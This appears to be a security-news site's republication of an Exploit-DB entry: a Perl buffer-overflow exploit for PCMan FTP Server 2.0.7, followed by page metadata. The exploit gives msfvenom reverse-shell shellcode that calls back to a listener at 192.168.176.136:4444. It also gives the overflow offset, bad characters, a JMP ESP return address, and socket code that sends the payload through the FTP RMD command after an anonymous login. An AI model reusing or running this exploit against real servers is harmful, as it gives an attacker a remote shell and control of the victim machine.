\n# Exploit Title: PCMan FTP Server 2.0.7 – Buffer Overflow
\n
# Date: 04\/17\/2025
\n
# Exploit Author: Fernando Mengali
\n
# Vendor Homepage: http:\/\/pcman.openfoundry.org\/
\n
# Software Link:
\n
https:\/\/www.exploit-db.com\/apps\/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
\n
# Version: 2.0.7
\n
# Tested on: Windows XP SP3 – # Version 5.1 (Build 2600.xpsp.080413-3111 :
\n
Service Pack 2)
\n
# CVE: CVE-2025-4255<\/p>\n
# msfvenom -p windows\/shell_reverse_tcp lhost=192.168.176.136 lport=4444
\n
EXITFUNC=thread -b ‘\\x00\\x0a\\x0d’ -a x86 –platform Windows -f perl
\n
#offset: 2007
\n
#badchars: \\x00\\x0a\\x0d
\n
#EIP: 0x74e32fd9 (JMP ESP)<\/p>\n
my $buf =
\n
“\\xbd\\xcc\\x95\\x24\\x8c\\xda\\xdb\\xd9\\x74\\x24\\xf4\\x5a\\x33\\xc9” .
\n
“\\xb1\\x52\\x31\\x6a\\x12\\x83\\xc2\\x04\\x03\\xa6\\x9b\\xc6\\x79\\xca” .
\n
“\\x4c\\x84\\x82\\x32\\x8d\\xe9\\x0b\\xd7\\xbc\\x29\\x6f\\x9c\\xef\\x99” .
\n
“\\xfb\\xf0\\x03\\x51\\xa9\\xe0\\x90\\x17\\x66\\x07\\x10\\x9d\\x50\\x26” .
\n
“\\xa1\\x8e\\xa1\\x29\\x21\\xcd\\xf5\\x89\\x18\\x1e\\x08\\xc8\\x5d\\x43” .
\n
“\\xe1\\x98\\x36\\x0f\\x54\\x0c\\x32\\x45\\x65\\xa7\\x08\\x4b\\xed\\x54” .
\n
“\\xd8\\x6a\\xdc\\xcb\\x52\\x35\\xfe\\xea\\xb7\\x4d\\xb7\\xf4\\xd4\\x68” .
\n
“\\x01\\x8f\\x2f\\x06\\x90\\x59\\x7e\\xe7\\x3f\\xa4\\x4e\\x1a\\x41\\xe1” .
\n
“\\x69\\xc5\\x34\\x1b\\x8a\\x78\\x4f\\xd8\\xf0\\xa6\\xda\\xfa\\x53\\x2c” .
\n
“\\x7c\\x26\\x65\\xe1\\x1b\\xad\\x69\\x4e\\x6f\\xe9\\x6d\\x51\\xbc\\x82” .
\n
“\\x8a\\xda\\x43\\x44\\x1b\\x98\\x67\\x40\\x47\\x7a\\x09\\xd1\\x2d\\x2d” .
\n
“\\x36\\x01\\x8e\\x92\\x92\\x4a\\x23\\xc6\\xae\\x11\\x2c\\x2b\\x83\\xa9” .
\n
“\\xac\\x23\\x94\\xda\\x9e\\xec\\x0e\\x74\\x93\\x65\\x89\\x83\\xd4\\x5f” .
\n
“\\x6d\\x1b\\x2b\\x60\\x8e\\x32\\xe8\\x34\\xde\\x2c\\xd9\\x34\\xb5\\xac” .
\n
“\\xe6\\xe0\\x1a\\xfc\\x48\\x5b\\xdb\\xac\\x28\\x0b\\xb3\\xa6\\xa6\\x74” .
\n
“\\xa3\\xc9\\x6c\\x1d\\x4e\\x30\\xe7\\xe2\\x27\\x8a\\x7f\\x8a\\x35\\xea” .
\n
“\\x6e\\x17\\xb3\\x0c\\xfa\\xb7\\x95\\x87\\x93\\x2e\\xbc\\x53\\x05\\xae” .
\n
“\\x6a\\x1e\\x05\\x24\\x99\\xdf\\xc8\\xcd\\xd4\\xf3\\xbd\\x3d\\xa3\\xa9” .
\n
“\\x68\\x41\\x19\\xc5\\xf7\\xd0\\xc6\\x15\\x71\\xc9\\x50\\x42\\xd6\\x3f” .
\n
“\\xa9\\x06\\xca\\x66\\x03\\x34\\x17\\xfe\\x6c\\xfc\\xcc\\xc3\\x73\\xfd” .
\n
“\\x81\\x78\\x50\\xed\\x5f\\x80\\xdc\\x59\\x30\\xd7\\x8a\\x37\\xf6\\x81” .
\n
“\\x7c\\xe1\\xa0\\x7e\\xd7\\x65\\x34\\x4d\\xe8\\xf3\\x39\\x98\\x9e\\x1b” .
\n
“\\x8b\\x75\\xe7\\x24\\x24\\x12\\xef\\x5d\\x58\\x82\\x10\\xb4\\xd8\\xa2” .
\n
“\\xf2\\x1c\\x15\\x4b\\xab\\xf5\\x94\\x16\\x4c\\x20\\xda\\x2e\\xcf\\xc0” .
\n
“\\xa3\\xd4\\xcf\\xa1\\xa6\\x91\\x57\\x5a\\xdb\\x8a\\x3d\\x5c\\x48\\xaa” .
\n
“\\x17”;<\/p>\n
# Version 5.1 (Build 2600.xpsp.080413-3111 : Service Pack 2)<\/p>\n
my $sock = IO::Socket::INET->new(
\n
PeerAddr => “192.168.176.131”,
\n
PeerPort => “21”,
\n
Proto => ‘tcp’,
\n
) or die “Cannot connect to 192.168.176.131:21: $!\\n”;<\/p>\n
my $offset = “A”x2007;
\n
my $eip = “\\xd9\\x2f\\xe3\\x74”;
\n
my $nops = “\\x90″x20;
\n
my $payload = $offset . $eip . $nops . $buf;
\n
my $r = <$sock>;
\n
print $sock “USER anonymous\\r\\n”;
\n
$r = <$sock>;
\n
print $r;
\n
sleep(1);
\n
print $sock “PASS anonymous\\r\\n”;
\n
$r = <$sock>;
\n
print $r;
\n
sleep(1);
\n
print $sock “RMD $payload\\r\\n”;
\n
$r = <$sock>;
\n
print $r;
\n
sleep(1);
\n
close($sock);\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title PCMan FTP Server 2.0.7 – Buffer Overflow Exploit ID EDB-ID:52326 Type exploitdb Published 2025-06-15T00:00:00 Modified 2025-06-15T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-6865","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
PCMan FTP Server 2.0.7 - Buffer Overflow - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=6865\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PCMan FTP Server 2.0.7 - Buffer Overflow - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title PCMan FTP Server 2.0.7 – Buffer Overflow Exploit ID EDB-ID:52326 Type exploitdb Published 2025-06-15T00:00:00 Modified 2025-06-15T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=6865\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-06-15T09:37:42+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6865#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6865\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"PCMan FTP Server 2.0.7 – Buffer Overflow\",\"datePublished\":\"2025-06-15T09:37:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6865\"},\"wordCount\":673,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=6865#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6865\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6865\",\"name\":\"PCMan FTP Server 2.0.7 - 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